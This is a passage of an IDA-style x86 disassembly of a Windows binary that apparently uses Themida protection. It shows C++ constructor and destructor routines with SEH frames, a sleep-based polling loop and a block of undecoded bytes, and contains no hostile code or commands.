; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_401DEDj
		add	ecx, 4
		jmp	sub_401023
sub_417AE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B00	proc near		; CODE XREF: sub_401FF5j
		add	ecx, 4
		jmp	sub_401023
sub_417B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B20	proc near		; CODE XREF: sub_401EE2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BC0	proc near		; CODE XREF: sub_40157Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417BC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417BC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C60	proc near		; CODE XREF: sub_401645j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D30	proc near		; CODE XREF: sub_401776j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401749
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417DF0	proc near		; CODE XREF: sub_401820j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E050
		mov	eax, esi
		pop	esi
		retn
sub_417DF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E20	proc near		; CODE XREF: sub_4016B3j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E05C
		mov	eax, esi
		pop	esi
		retn
sub_417E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E50	proc near		; CODE XREF: sub_401415j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F10	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417FD0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417FD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417FD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418050	proc near		; CODE XREF: sub_401D11j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	nullsub_10
		mov	eax, esi
		pop	esi
		retn
sub_418050	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418080	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418100	proc near		; CODE XREF: sub_401A7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418100	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E09C
		mov	eax, esi
		pop	esi
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4181B0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4181B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4181B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418230	proc near		; CODE XREF: sub_401573j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A4
		mov	eax, esi
		pop	esi
		retn
sub_418230	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418260	proc near		; CODE XREF: sub_40178Fj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		mov	dword ptr [esi], offset	off_43E0A8
		mov	eax, esi
		pop	esi
		retn
sub_418260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401749
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401749
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401749
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418290	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_50F8D0
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418348:				; CODE XREF: sub_418330+E4j
		test	bl, bl
		jnz	loc_41841E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41835E
		mov	bl, 1
		jmp	short loc_418372
; ---------------------------------------------------------------------------


loc_41835E:				; CODE XREF: sub_418330+28j
		lea	ecx, [esi+15Fh]
		call	sub_40185C
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418379


loc_418372:				; CODE XREF: sub_418330+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418379:				; CODE XREF: sub_418330+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402086
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F4B
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jz	short loc_4183FE


loc_4183B4:				; CODE XREF: sub_418330+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	ecx, [eax]
		call	sub_401744
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402211
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4183DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4183DB:				; CODE XREF: sub_418330+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_4016F9
		test	al, al
		jnz	short loc_4183B4


loc_4183FE:				; CODE XREF: sub_418330+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418348
		test	bl, bl
		jz	short loc_41842B


loc_41841E:				; CODE XREF: sub_418330+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418330+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418490	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418490
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E6EDB
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4184D0
		push	eax
		jmp	short loc_4184D5
; ---------------------------------------------------------------------------


loc_4184D0:				; CODE XREF: sub_418490+3Bj
		push	offset byte_446F70


loc_4184D5:				; CODE XREF: sub_418490+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015D7
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4184EE
		push	edi
		jmp	short loc_4184F3
; ---------------------------------------------------------------------------


loc_4184EE:				; CODE XREF: sub_418490+59j
		push	offset byte_446F70


loc_4184F3:				; CODE XREF: sub_418490+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015D7
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418490	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE945CE8h
		dd 244C8DFFh, 2685128h,	0E8000002h, 7169E121h, 8F88E890h
		dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
		dd 680050F8h, 3E8h, 0CF8BD3FFh,	0FE8CB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
		dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
		dd 0E8006A08h, 7782185Eh, 98C6E890h, 8E8DFFFEh,	168h, 0FE91B3E8h
		dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
		dd 8F2478Eh, 8D52E800h,	8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
		dd 9FA138Eh, 9046E800h,	8E8DFFFEh, 8F3A2h, 0FE9B26E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
		dd 9FC428Eh, 9889E800h,	0CF8BFFFEh, 0FE896EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
		dd 9FAD38Eh, 9802E800h,	8E8DFFFEh, 9FB93h, 0FE925CE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h
		dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh
		dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h,	69BCE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418840:				; CODE XREF: ___:00402202j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418860:				; CODE XREF: ___:00401EC4j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401767
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
byte_418880	db 10h dup(0CCh)	; DATA XREF: Themida_:005D7560o
					; Themida_:005D7564o ...

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418890	proc near		; CODE XREF: sub_401B09j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021BC
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401622
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40142E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4020E5
sub_418890	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418900	proc near		; CODE XREF: sub_401AFAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418900	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418940	proc near		; CODE XREF: sub_4021DAj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40205E
sub_418940	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189B0	proc near		; CODE XREF: sub_401F4Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189B0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_401311j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	esi
		retn	4
sub_4189F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A70	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418A70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418A90	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AE0	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418AE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418B6A


loc_418B28:				; CODE XREF: sub_418B10+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418B28
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418B6A:				; CODE XREF: sub_418B10+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418BA0	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418BA0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BC0	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418C1A


loc_418BD8:				; CODE XREF: sub_418BC0+47j
		lea	ecx, [esp+0Ch+var_8]
